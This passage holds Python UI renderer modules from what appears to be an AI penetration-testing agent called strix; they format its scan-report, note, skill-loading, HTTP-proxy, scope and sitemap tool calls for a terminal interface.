    "content": "from typing import Any, ClassVar\n\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\nFIELD_STYLE = \"bold #4ade80\"\n\n\n@register_tool_renderer\nclass FinishScanRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"finish_scan\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"finish-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n\n        executive_summary = args.get(\"executive_summary\", \"\")\n        methodology = args.get(\"methodology\", \"\")\n        technical_analysis = args.get(\"technical_analysis\", \"\")\n        recommendations = args.get(\"recommendations\", \"\")\n\n        text = Text()\n        text.append(\"◆ \", style=\"#22c55e\")\n        text.append(\"Penetration test completed\", style=\"bold #22c55e\")\n\n        if executive_summary:\n            text.append(\"\\n\\n\")\n            text.append(\"Executive Summary\", style=FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(executive_summary)\n\n        if methodology:\n            text.append(\"\\n\\n\")\n            text.append(\"Methodology\", style=FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(methodology)\n\n        if technical_analysis:\n            text.append(\"\\n\\n\")\n            text.append(\"Technical Analysis\", style=FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(technical_analysis)\n\n        if recommendations:\n            text.append(\"\\n\\n\")\n            text.append(\"Recommendations\", style=FIELD_STYLE)\n            text.append(\"\\n\")\n            text.append(recommendations)\n\n        if not (executive_summary or methodology or technical_analysis or recommendations):\n            text.append(\"\\n  \")\n            text.append(\"Generating final report...\", style=\"dim\")\n\n        padded = Text()\n        padded.append(\"\\n\\n\")\n        padded.append_text(text)\n        padded.append(\"\\n\\n\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(padded, classes=css_classes)\n"
  },
  {
    "path": "strix/interface/tool_components/load_skill_renderer.py",
    "content": "from typing import Any, ClassVar\n\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\n@register_tool_renderer\nclass LoadSkillRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"load_skill\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"load-skill-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        status = tool_data.get(\"status\", \"completed\")\n\n        requested = args.get(\"skills\", \"\")\n\n        text = Text()\n        text.append(\"◇ \", style=\"#10b981\")\n        text.append(\"loading skill\", style=\"dim\")\n\n        if requested:\n            text.append(\" \")\n            text.append(requested, style=\"#10b981\")\n        elif not tool_data.get(\"result\"):\n            text.append(\"\\n  \")\n            text.append(\"Loading...\", style=\"dim\")\n\n        return Static(text, classes=cls.get_css_classes(status))\n"
  },
  {
    "path": "strix/interface/tool_components/notes_renderer.py",
    "content": "from typing import Any, ClassVar\n\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\n@register_tool_renderer\nclass CreateNoteRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"create_note\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"notes-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n\n        title = args.get(\"title\", \"\")\n        content = args.get(\"content\", \"\")\n        category = args.get(\"category\", \"general\")\n\n        text = Text()\n        text.append(\"◇ \", style=\"#fbbf24\")\n        text.append(\"note\", style=\"dim\")\n        text.append(\" \")\n        text.append(f\"({category})\", style=\"dim\")\n\n        if title:\n            text.append(\"\\n  \")\n            text.append(title.strip())\n\n        if content:\n            text.append(\"\\n  \")\n            text.append(content.strip(), style=\"dim\")\n\n        if not title and not content:\n            text.append(\"\\n  \")\n            text.append(\"Capturing...\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass DeleteNoteRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"delete_note\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"notes-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:  # noqa: ARG003\n        text = Text()\n        text.append(\"◇ \", style=\"#fbbf24\")\n        text.append(\"note removed\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass UpdateNoteRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"update_note\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"notes-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n\n        title = args.get(\"title\")\n        content = args.get(\"content\")\n\n        text = Text()\n        text.append(\"◇ \", style=\"#fbbf24\")\n        text.append(\"note updated\", style=\"dim\")\n\n        if title:\n            text.append(\"\\n  \")\n            text.append(title)\n\n        if content:\n            text.append(\"\\n  \")\n            text.append(content.strip(), style=\"dim\")\n\n        if not title and not content:\n            text.append(\"\\n  \")\n            text.append(\"Updating...\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass ListNotesRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"list_notes\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"notes-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        result = tool_data.get(\"result\")\n\n        text = Text()\n        text.append(\"◇ \", style=\"#fbbf24\")\n        text.append(\"notes\", style=\"dim\")\n\n        if isinstance(result, str) and result.strip():\n            text.append(\"\\n  \")\n            text.append(result.strip(), style=\"dim\")\n        elif result and isinstance(result, dict) and result.get(\"success\"):\n            count = result.get(\"total_count\", 0)\n            notes = result.get(\"notes\", []) or []\n\n            if count == 0:\n                text.append(\"\\n  \")\n                text.append(\"No notes\", style=\"dim\")\n            else:\n                for note in notes:\n                    title = note.get(\"title\", \"\").strip() or \"(untitled)\"\n                    category = note.get(\"category\", \"general\")\n                    note_content = note.get(\"content\", \"\").strip()\n\n                    text.append(\"\\n  - \")\n                    text.append(title)\n                    text.append(f\" ({category})\", style=\"dim\")\n\n                    if note_content:\n                        text.append(\"\\n    \")\n                        text.append(note_content, style=\"dim\")\n        else:\n            text.append(\"\\n  \")\n            text.append(\"Loading...\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n"
  },
  {
    "path": "strix/interface/tool_components/proxy_renderer.py",
    "content": "from typing import Any, ClassVar\n\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\nPROXY_ICON = \"<~>\"\nMAX_REQUESTS_DISPLAY = 20\nMAX_LINE_LENGTH = 200\n\n\ndef _truncate(text: str, max_len: int = 80) -> str:\n    return text[: max_len - 3] + \"...\" if len(text) > max_len else text\n\n\ndef _sanitize(text: str, max_len: int = 150) -> str:\n    \"\"\"Remove newlines and truncate text.\"\"\"\n    clean = text.replace(\"\\n\", \" \").replace(\"\\r\", \"\").replace(\"\\t\", \" \")\n    return _truncate(clean, max_len)\n\n\ndef _status_style(code: int | None) -> str:\n    if code is None:\n        return \"dim\"\n    if 200 <= code < 300:\n        return \"#22c55e\"  # green\n    if 300 <= code < 400:\n        return \"#eab308\"  # yellow\n    if 400 <= code < 500:\n        return \"#f97316\"  # orange\n    if code >= 500:\n        return \"#ef4444\"  # red\n    return \"dim\"\n\n\n@register_tool_renderer\nclass ListRequestsRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"list_requests\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"proxy-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:  # noqa: PLR0912  # noqa: PLR0912\n        args = tool_data.get(\"args\", {})\n        result = tool_data.get(\"result\")\n        status = tool_data.get(\"status\", \"running\")\n\n        httpql_filter = args.get(\"httpql_filter\")\n        sort_by = args.get(\"sort_by\")\n        sort_order = args.get(\"sort_order\")\n        scope_id = args.get(\"scope_id\")\n\n        text = Text()\n        text.append(PROXY_ICON, style=\"dim\")\n        text.append(\" listing requests\", style=\"#06b6d4\")\n\n        if httpql_filter:\n            text.append(f\"  where {_truncate(httpql_filter, 150)}\", style=\"dim italic\")\n\n        meta_parts = []\n        if sort_by and sort_by != \"timestamp\":\n            meta_parts.append(f\"by:{sort_by}\")\n        if sort_order and sort_order != \"desc\":\n            meta_parts.append(sort_order)\n        if scope_id and isinstance(scope_id, str):\n            meta_parts.append(f\"scope:{scope_id[:8]}\")\n        if meta_parts:\n            text.append(f\"  ({', '.join(meta_parts)})\", style=\"dim\")\n\n        if status == \"completed\" and isinstance(result, dict):\n            if \"error\" in result:\n                text.append(f\"  error: {_sanitize(str(result['error']), 150)}\", style=\"#ef4444\")\n            else:\n                total = result.get(\"total_count\", 0)\n                requests = result.get(\"requests\", [])\n\n                text.append(f\"  [{total} found]\", style=\"dim\")\n\n                if requests and isinstance(requests, list):\n                    text.append(\"\\n\")\n                    for i, req in enumerate(requests[:MAX_REQUESTS_DISPLAY]):\n                        if not isinstance(req, dict):\n                            continue\n                        method = req.get(\"method\", \"?\")\n                        host = req.get(\"host\", \"\")\n                        path = req.get(\"path\", \"/\")\n                        resp = req.get(\"response\") or {}\n                        code = resp.get(\"statusCode\") if isinstance(resp, dict) else None\n\n                        text.append(\"  \")\n                        text.append(f\"{method:6}\", style=\"#a78bfa\")\n                        text.append(f\" {_truncate(host + path, 180)}\", style=\"dim\")\n                        if code:\n                            text.append(f\" {code}\", style=_status_style(code))\n\n                        if i < min(len(requests), MAX_REQUESTS_DISPLAY) - 1:\n                            text.append(\"\\n\")\n\n                    if len(requests) > MAX_REQUESTS_DISPLAY:\n                        text.append(\"\\n\")\n                        text.append(\n                            f\"  ... +{len(requests) - MAX_REQUESTS_DISPLAY} more\",\n                            style=\"dim italic\",\n                        )\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass ViewRequestRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"view_request\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"proxy-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:  # noqa: PLR0912, PLR0915\n        args = tool_data.get(\"args\", {})\n        result = tool_data.get(\"result\")\n        status = tool_data.get(\"status\", \"running\")\n\n        request_id = args.get(\"request_id\", \"\")\n        part = args.get(\"part\", \"request\")\n        search_pattern = args.get(\"search_pattern\")\n\n        text = Text()\n        text.append(PROXY_ICON, style=\"dim\")\n\n        action = \"searching\" if search_pattern else \"viewing\"\n        text.append(f\" {action} {part}\", style=\"#06b6d4\")\n\n        if request_id:\n            text.append(f\" #{request_id}\", style=\"dim\")\n\n        if search_pattern:\n            text.append(f\"  /{_truncate(search_pattern, 100)}/\", style=\"dim italic\")\n\n        if status == \"completed\" and isinstance(result, dict):\n            if \"error\" in result:\n                text.append(f\"  error: {_sanitize(str(result['error']), 150)}\", style=\"#ef4444\")\n            elif \"matches\" in result:\n                matches = result.get(\"matches\", [])\n                total = result.get(\"total_matches\", len(matches))\n                text.append(f\"  [{total} matches]\", style=\"dim\")\n\n                if matches and isinstance(matches, list):\n                    text.append(\"\\n\")\n                    for i, m in enumerate(matches[:5]):\n                        if not isinstance(m, dict):\n                            continue\n                        before = m.get(\"before\", \"\") or \"\"\n                        match_text = m.get(\"match\", \"\") or \"\"\n                        after = m.get(\"after\", \"\") or \"\"\n\n                        before = before.replace(\"\\n\", \" \").replace(\"\\r\", \"\")[-100:]\n                        after = after.replace(\"\\n\", \" \").replace(\"\\r\", \"\")[:100]\n\n                        text.append(\"  \")\n\n                        if before:\n                            text.append(f\"...{before}\", style=\"dim\")\n                        text.append(match_text, style=\"#22c55e bold\")\n                        if after:\n                            text.append(f\"{after}...\", style=\"dim\")\n\n                        if i < min(len(matches), 5) - 1:\n                            text.append(\"\\n\")\n\n                    if len(matches) > 5:\n                        text.append(\"\\n\")\n                        text.append(f\"  ... +{len(matches) - 5} more matches\", style=\"dim italic\")\n\n            elif \"content\" in result:\n                showing = result.get(\"showing_lines\", \"\")\n                has_more = result.get(\"has_more\", False)\n                content = result.get(\"content\", \"\")\n\n                text.append(f\"  [{showing}]\", style=\"dim\")\n\n                if content and isinstance(content, str):\n                    lines = content.split(\"\\n\")[:15]\n                    text.append(\"\\n\")\n                    for i, line in enumerate(lines):\n                        text.append(\"  \")\n                        text.append(_truncate(line, MAX_LINE_LENGTH), style=\"dim\")\n                        if i < len(lines) - 1:\n                            text.append(\"\\n\")\n\n                    if has_more or len(lines) > 15:\n                        text.append(\"\\n\")\n                        text.append(\"  ... more content available\", style=\"dim italic\")\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass SendRequestRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"send_request\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"proxy-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:  # noqa: PLR0912, PLR0915\n        args = tool_data.get(\"args\", {})\n        result = tool_data.get(\"result\")\n        status = tool_data.get(\"status\", \"running\")\n\n        method = args.get(\"method\", \"GET\")\n        url = args.get(\"url\", \"\")\n        req_headers = args.get(\"headers\")\n        req_body = args.get(\"body\", \"\")\n\n        text = Text()\n        text.append(PROXY_ICON, style=\"dim\")\n        text.append(\" sending request\", style=\"#06b6d4\")\n\n        text.append(\"\\n\")\n        text.append(\"  >> \", style=\"#3b82f6\")\n        text.append(method, style=\"#a78bfa\")\n        text.append(f\" {_truncate(url, 180)}\", style=\"dim\")\n\n        if req_headers and isinstance(req_headers, dict):\n            for k, v in list(req_headers.items())[:5]:\n                text.append(\"\\n\")\n                text.append(\"  >> \", style=\"#3b82f6\")\n                text.append(f\"{k}: \", style=\"dim\")\n                text.append(_sanitize(str(v), 150), style=\"dim\")\n\n        if req_body and isinstance(req_body, str):\n            text.append(\"\\n\")\n            text.append(\"  >> \", style=\"#3b82f6\")\n            body_lines = req_body.split(\"\\n\")[:4]\n            for i, line in enumerate(body_lines):\n                if i > 0:\n                    text.append(\"\\n\")\n                    text.append(\"     \", style=\"dim\")\n                text.append(_truncate(line, MAX_LINE_LENGTH), style=\"dim\")\n            if len(req_body.split(\"\\n\")) > 4:\n                text.append(\" ...\", style=\"dim italic\")\n\n        if status == \"completed\" and isinstance(result, dict):\n            if \"error\" in result:\n                text.append(f\"\\n  error: {_sanitize(str(result['error']), 150)}\", style=\"#ef4444\")\n            else:\n                code = result.get(\"status_code\")\n                time_ms = result.get(\"response_time_ms\")\n\n                text.append(\"\\n\")\n                text.append(\"  << \", style=\"#22c55e\")\n                if code:\n                    text.append(f\"{code}\", style=_status_style(code))\n                if time_ms:\n                    text.append(f\" ({time_ms}ms)\", style=\"dim\")\n\n                body = result.get(\"body\", \"\")\n                if body and isinstance(body, str):\n                    lines = body.split(\"\\n\")[:6]\n                    for line in lines:\n                        text.append(\"\\n\")\n                        text.append(\"  << \", style=\"#22c55e\")\n                        text.append(_truncate(line, MAX_LINE_LENGTH - 5), style=\"dim\")\n\n                    if len(body.split(\"\\n\")) > 6:\n                        text.append(\"\\n\")\n                        text.append(\"  ...\", style=\"dim italic\")\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass RepeatRequestRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"repeat_request\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"proxy-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:  # noqa: PLR0912, PLR0915\n        args = tool_data.get(\"args\", {})\n        result = tool_data.get(\"result\")\n        status = tool_data.get(\"status\", \"running\")\n\n        request_id = args.get(\"request_id\", \"\")\n        modifications = args.get(\"modifications\")\n\n        text = Text()\n        text.append(PROXY_ICON, style=\"dim\")\n        text.append(\" repeating request\", style=\"#06b6d4\")\n\n        if request_id:\n            text.append(f\" #{request_id}\", style=\"dim\")\n\n        if modifications and isinstance(modifications, dict):\n            text.append(\"\\n  modifications:\", style=\"dim italic\")\n\n            if \"url\" in modifications:\n                text.append(\"\\n\")\n                text.append(\"  >> \", style=\"#3b82f6\")\n                text.append(f\"url: {_truncate(str(modifications['url']), 180)}\", style=\"dim\")\n\n            if \"headers\" in modifications and isinstance(modifications[\"headers\"], dict):\n                for k, v in list(modifications[\"headers\"].items())[:5]:\n                    text.append(\"\\n\")\n                    text.append(\"  >> \", style=\"#3b82f6\")\n                    text.append(f\"{k}: {_sanitize(str(v), 150)}\", style=\"dim\")\n\n            if \"cookies\" in modifications and isinstance(modifications[\"cookies\"], dict):\n                for k, v in list(modifications[\"cookies\"].items())[:5]:\n                    text.append(\"\\n\")\n                    text.append(\"  >> \", style=\"#3b82f6\")\n                    text.append(f\"cookie {k}={_sanitize(str(v), 100)}\", style=\"dim\")\n\n            if \"params\" in modifications and isinstance(modifications[\"params\"], dict):\n                for k, v in list(modifications[\"params\"].items())[:5]:\n                    text.append(\"\\n\")\n                    text.append(\"  >> \", style=\"#3b82f6\")\n                    text.append(f\"param {k}={_sanitize(str(v), 100)}\", style=\"dim\")\n\n            if \"body\" in modifications and isinstance(modifications[\"body\"], str):\n                text.append(\"\\n\")\n                text.append(\"  >> \", style=\"#3b82f6\")\n                body_lines = modifications[\"body\"].split(\"\\n\")[:4]\n                for i, line in enumerate(body_lines):\n                    if i > 0:\n                        text.append(\"\\n\")\n                        text.append(\"     \", style=\"dim\")\n                    text.append(_truncate(line, MAX_LINE_LENGTH), style=\"dim\")\n                if len(modifications[\"body\"].split(\"\\n\")) > 4:\n                    text.append(\" ...\", style=\"dim italic\")\n\n        elif modifications and isinstance(modifications, str):\n            text.append(f\"\\n  {_truncate(modifications, 200)}\", style=\"dim italic\")\n\n        if status == \"completed\" and isinstance(result, dict):\n            if \"error\" in result:\n                text.append(f\"\\n  error: {_sanitize(str(result['error']), 150)}\", style=\"#ef4444\")\n            else:\n                req = result.get(\"request\", {})\n                method = req.get(\"method\", \"\")\n                url = req.get(\"url\", \"\")\n                code = result.get(\"status_code\")\n                time_ms = result.get(\"response_time_ms\")\n\n                text.append(\"\\n\")\n                text.append(\"  >> \", style=\"#3b82f6\")\n                if method:\n                    text.append(f\"{method} \", style=\"#a78bfa\")\n                if url:\n                    text.append(_truncate(url, 180), style=\"dim\")\n\n                text.append(\"\\n\")\n                text.append(\"  << \", style=\"#22c55e\")\n                if code:\n                    text.append(f\"{code}\", style=_status_style(code))\n                if time_ms:\n                    text.append(f\" ({time_ms}ms)\", style=\"dim\")\n\n                body = result.get(\"body\", \"\")\n                if body and isinstance(body, str):\n                    lines = body.split(\"\\n\")[:5]\n                    for line in lines:\n                        text.append(\"\\n\")\n                        text.append(\"  << \", style=\"#22c55e\")\n                        text.append(_truncate(line, MAX_LINE_LENGTH - 5), style=\"dim\")\n\n                    if len(body.split(\"\\n\")) > 5:\n                        text.append(\"\\n\")\n                        text.append(\"  ...\", style=\"dim italic\")\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass ScopeRulesRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"scope_rules\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"proxy-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:  # noqa: PLR0912, PLR0915\n        args = tool_data.get(\"args\", {})\n        result = tool_data.get(\"result\")\n        status = tool_data.get(\"status\", \"running\")\n\n        action = args.get(\"action\", \"\")\n        scope_name = args.get(\"scope_name\", \"\")\n        scope_id = args.get(\"scope_id\", \"\")\n        allowlist = args.get(\"allowlist\")\n        denylist = args.get(\"denylist\")\n\n        text = Text()\n        text.append(PROXY_ICON, style=\"dim\")\n\n        action_map = {\n            \"get\": \"getting\",\n            \"list\": \"listing\",\n            \"create\": \"creating\",\n            \"update\": \"updating\",\n            \"delete\": \"deleting\",\n        }\n        action_text = action_map.get(action, action + \"ing\" if action else \"managing\")\n        text.append(f\" {action_text} proxy scope\", style=\"#06b6d4\")\n\n        if scope_name:\n            text.append(f\" '{_truncate(scope_name, 50)}'\", style=\"dim italic\")\n        if scope_id and isinstance(scope_id, str):\n            text.append(f\" #{scope_id[:8]}\", style=\"dim\")\n\n        if allowlist and isinstance(allowlist, list):\n            allow_str = \", \".join(_truncate(str(a), 40) for a in allowlist[:4])\n            text.append(f\"\\n  allow: {allow_str}\", style=\"dim\")\n            if len(allowlist) > 4:\n                text.append(f\" +{len(allowlist) - 4}\", style=\"dim italic\")\n        if denylist and isinstance(denylist, list):\n            deny_str = \", \".join(_truncate(str(d), 40) for d in denylist[:4])\n            text.append(f\"\\n  deny: {deny_str}\", style=\"dim\")\n            if len(denylist) > 4:\n                text.append(f\" +{len(denylist) - 4}\", style=\"dim italic\")\n\n        if status == \"completed\" and isinstance(result, dict):\n            if \"error\" in result:\n                text.append(f\"  error: {_sanitize(str(result['error']), 150)}\", style=\"#ef4444\")\n            elif \"scopes\" in result:\n                scopes = result.get(\"scopes\", [])\n                text.append(f\"  [{len(scopes)} scopes]\", style=\"dim\")\n\n                if scopes and isinstance(scopes, list):\n                    text.append(\"\\n\")\n                    for i, scope in enumerate(scopes[:5]):\n                        if not isinstance(scope, dict):\n                            continue\n                        name = scope.get(\"name\", \"?\")\n                        allow = scope.get(\"allowlist\") or []\n                        text.append(\"  \")\n                        text.append(_truncate(str(name), 40), style=\"#22c55e\")\n                        if allow and isinstance(allow, list):\n                            allow_str = \", \".join(_truncate(str(a), 30) for a in allow[:3])\n                            text.append(f\"  {allow_str}\", style=\"dim\")\n                            if len(allow) > 3:\n                                text.append(f\" +{len(allow) - 3}\", style=\"dim italic\")\n                        if i < min(len(scopes), 5) - 1:\n                            text.append(\"\\n\")\n\n            elif \"scope\" in result:\n                scope = result.get(\"scope\") or {}\n                if isinstance(scope, dict):\n                    allow = scope.get(\"allowlist\") or []\n                    deny = scope.get(\"denylist\") or []\n\n                    if allow and isinstance(allow, list):\n                        allow_str = \", \".join(_truncate(str(a), 40) for a in allow[:5])\n                        text.append(f\"\\n  allow: {allow_str}\", style=\"dim\")\n                    if deny and isinstance(deny, list):\n                        deny_str = \", \".join(_truncate(str(d), 40) for d in deny[:5])\n                        text.append(f\"\\n  deny: {deny_str}\", style=\"dim\")\n\n            elif \"message\" in result:\n                text.append(f\"  {result['message']}\", style=\"#22c55e\")\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass ListSitemapRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"list_sitemap\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"proxy-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:  # noqa: PLR0912, PLR0915\n        args = tool_data.get(\"args\", {})\n        result = tool_data.get(\"result\")\n        status = tool_data.get(\"status\", \"running\")\n\n        parent_id = args.get(\"parent_id\")\n        scope_id = args.get(\"scope_id\")\n        depth = args.get(\"depth\")\n\n        text = Text()\n        text.append(PROXY_ICON, style=\"dim\")\n        text.append(\" listing sitemap\", style=\"#06b6d4\")\n\n        if parent_id:\n            text.append(f\"  under #{_truncate(str(parent_id), 20)}\", style=\"dim\")\n\n        meta_parts = []\n        if scope_id and isinstance(scope_id, str):\n            meta_parts.append(f\"scope:{scope_id[:8]}\")\n        if depth and depth != \"DIRECT\":\n            meta_parts.append(depth.lower())\n        if meta_parts:\n            text.append(f\"  ({', '.join(meta_parts)})\", style=\"dim\")\n\n        if status == \"completed\" and isinstance(result, dict):\n            if \"error\" in result:\n                text.append(f\"  error: {_sanitize(str(result['error']), 150)}\", style=\"#ef4444\")\n            else:\n                total = result.get(\"total_count\", 0)\n                entries = result.get(\"entries\", [])\n\n                text.append(f\"  [{total} entries]\", style=\"dim\")\n\n                if entries and isinstance(entries, list):\n                    text.append(\"\\n\")\n                    for i, entry in enumerate(entries[:MAX_REQUESTS_DISPLAY]):\n                        if not isinstance(entry, dict):\n                            continue\n                        kind = entry.get(\"kind\") or \"?\"\n                        label = entry.get(\"label\") or \"?\"\n                        has_children = entry.get(\"hasDescendants\", False)\n                        req = entry.get(\"request\") or {}\n\n                        kind_style = {\n                            \"DOMAIN\": \"#f59e0b\",\n                            \"DIRECTORY\": \"#3b82f6\",\n                            \"REQUEST\": \"#22c55e\",\n                        }.get(kind, \"dim\")\n\n                        text.append(\"  \")\n                        kind_abbr = kind[:3] if isinstance(kind, str) else \"?\"\n                        text.append(f\"{kind_abbr:3}\", style=kind_style)\n                        text.append(f\" {_truncate(label, 150)}\", style=\"dim\")\n\n                        if req:\n                            method = req.get(\"method\", \"\")\n                            code = req.get(\"status\")\n                            if method:\n                                text.append(f\" {method}\", style=\"#a78bfa\")\n                            if code:\n                                text.append(f\" {code}\", style=_status_style(code))\n\n                        if has_children:\n                            text.append(\" +\", style=\"dim italic\")\n\n                        if i < min(len(entries), MAX_REQUESTS_DISPLAY) - 1:\n                            text.append(\"\\n\")\n\n                    if len(entries) > MAX_REQUESTS_DISPLAY:\n                        text.append(\"\\n\")\n                        text.append(\n                            f\"  ... +{len(entries) - MAX_REQUESTS_DISPLAY} more\", style=\"dim italic\"\n                        )\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass ViewSitemapEntryRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"view_sitemap_entry\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"proxy-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:  # noqa: PLR0912\n        args = tool_data.get(\"args\", {})\n        result = tool_data.get(\"result\")\n        status = tool_data.get(\"status\", \"running\")\n\n        entry_id = args.get(\"entry_id\", \"\")\n\n        text = Text()\n        text.append(PROXY_ICON, style=\"dim\")\n        text.append(\" viewing sitemap\", style=\"#06b6d4\")\n\n        if entry_id:\n            text.append(f\" #{_truncate(str(entry_id), 20)}\", style=\"dim\")\n\n        if status == \"completed\" and isinstance(result, dict):\n            if \"error\" in result:\n                text.append(f\"  error: {_sanitize(str(result['error']), 150)}\", style=\"#ef4444\")\n            elif \"entry\" in result:\n                entry = result.get(\"entry\") or {}\n                if not isinstance(entry, dict):\n                    entry = {}\n                kind = entry.get(\"kind\", \"\")\n                label = entry.get(\"label\", \"\")\n                related = entry.get(\"related_requests\") or {}\n                related_reqs = related.get(\"requests\", []) if isinstance(related, dict) else []\n                total_related = related.get(\"total_count\", 0) if isinstance(related, dict) else 0\n\n                if kind and label:\n                    text.append(f\"  {kind}: {_truncate(label, 120)}\", style=\"dim\")\n\n                if total_related:\n                    text.append(f\"  [{total_related} requests]\", style=\"dim\")\n\n                if related_reqs and isinstance(related_reqs, list):\n                    text.append(\"\\n\")\n                    for i, req in enumerate(related_reqs[:10]):\n                        if not isinstance(req, dict):\n                            continue\n                        method = req.get(\"method\", \"?\")\n                        path = req.get(\"path\", \"/\")\n                        code = req.get(\"status\")\n\n                        text.append(\"  \")\n                        text.append(f\"{method:6}\", style=\"#a78bfa\")\n                        text.append(f\" {_truncate(path, 180)}\", style=\"dim\")\n                        if code:\n                            text.append(f\" {code}\", style=_status_style(code))\n\n                        if i < min(len(related_reqs), 10) - 1:\n                            text.append(\"\\n\")\n\n                    if len(related_reqs) > 10:\n                        text.append(\"\\n\")\n                        text.append(f\"  ... +{len(related_reqs) - 10} more\", style=\"dim italic\")\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n"
  },
  {
    "path": "strix/interface/tool_components/python_renderer.py",
    "content": "import re\nfrom functools import cache\nfrom typing import Any, ClassVar\n\nfrom pygments.lexers import PythonLexer\nfrom pygments.styles import get_style_by_name\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\nMAX_OUTPUT_LINES = 50\nMAX_LINE_LENGTH = 200\n\nANSI_PATTERN = re.compile(r\"\\x1b(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~]|\\][^\\x07]*\\x07)\")\n\nSTRIP_PATTERNS = [\n    r\"\\.\\.\\. \\[(stdout|stderr|result|output|error) truncated at \\d+k? chars\\]\",\n]\n\n\n@cache\ndef _get_style_colors() -> dict[Any, str]:\n    style = get_style_by_name(\"native\")\n    return {token: f\"#{style_def['color']}\" for token, style_def in style if style_def[\"color\"]}\n\n\n@cache\ndef _get_lexer() -> PythonLexer:\n    return PythonLexer()\n\n\n@cache\ndef _get_token_color(token_type: Any) -> str | None:\n    colors = _get_style_colors()\n    while token_type:\n        if token_type in colors:\n            return colors[token_type]\n        token_type = token_type.parent\n    return None\n\n\n@register_tool_renderer\nclass PythonRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"python_action\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"python-tool\"]\n\n    @classmethod\n    def _highlight_python(cls, code: str) -> Text:\n        text = Text()\n        for token_type, token_value in _get_lexer().get_tokens(code):\n            if token_value:\n                text.append(token_value, style=_get_token_color(token_type))\n        return text\n\n    @classmethod\n    def _clean_output(cls, output: str) -> str:\n        cleaned = 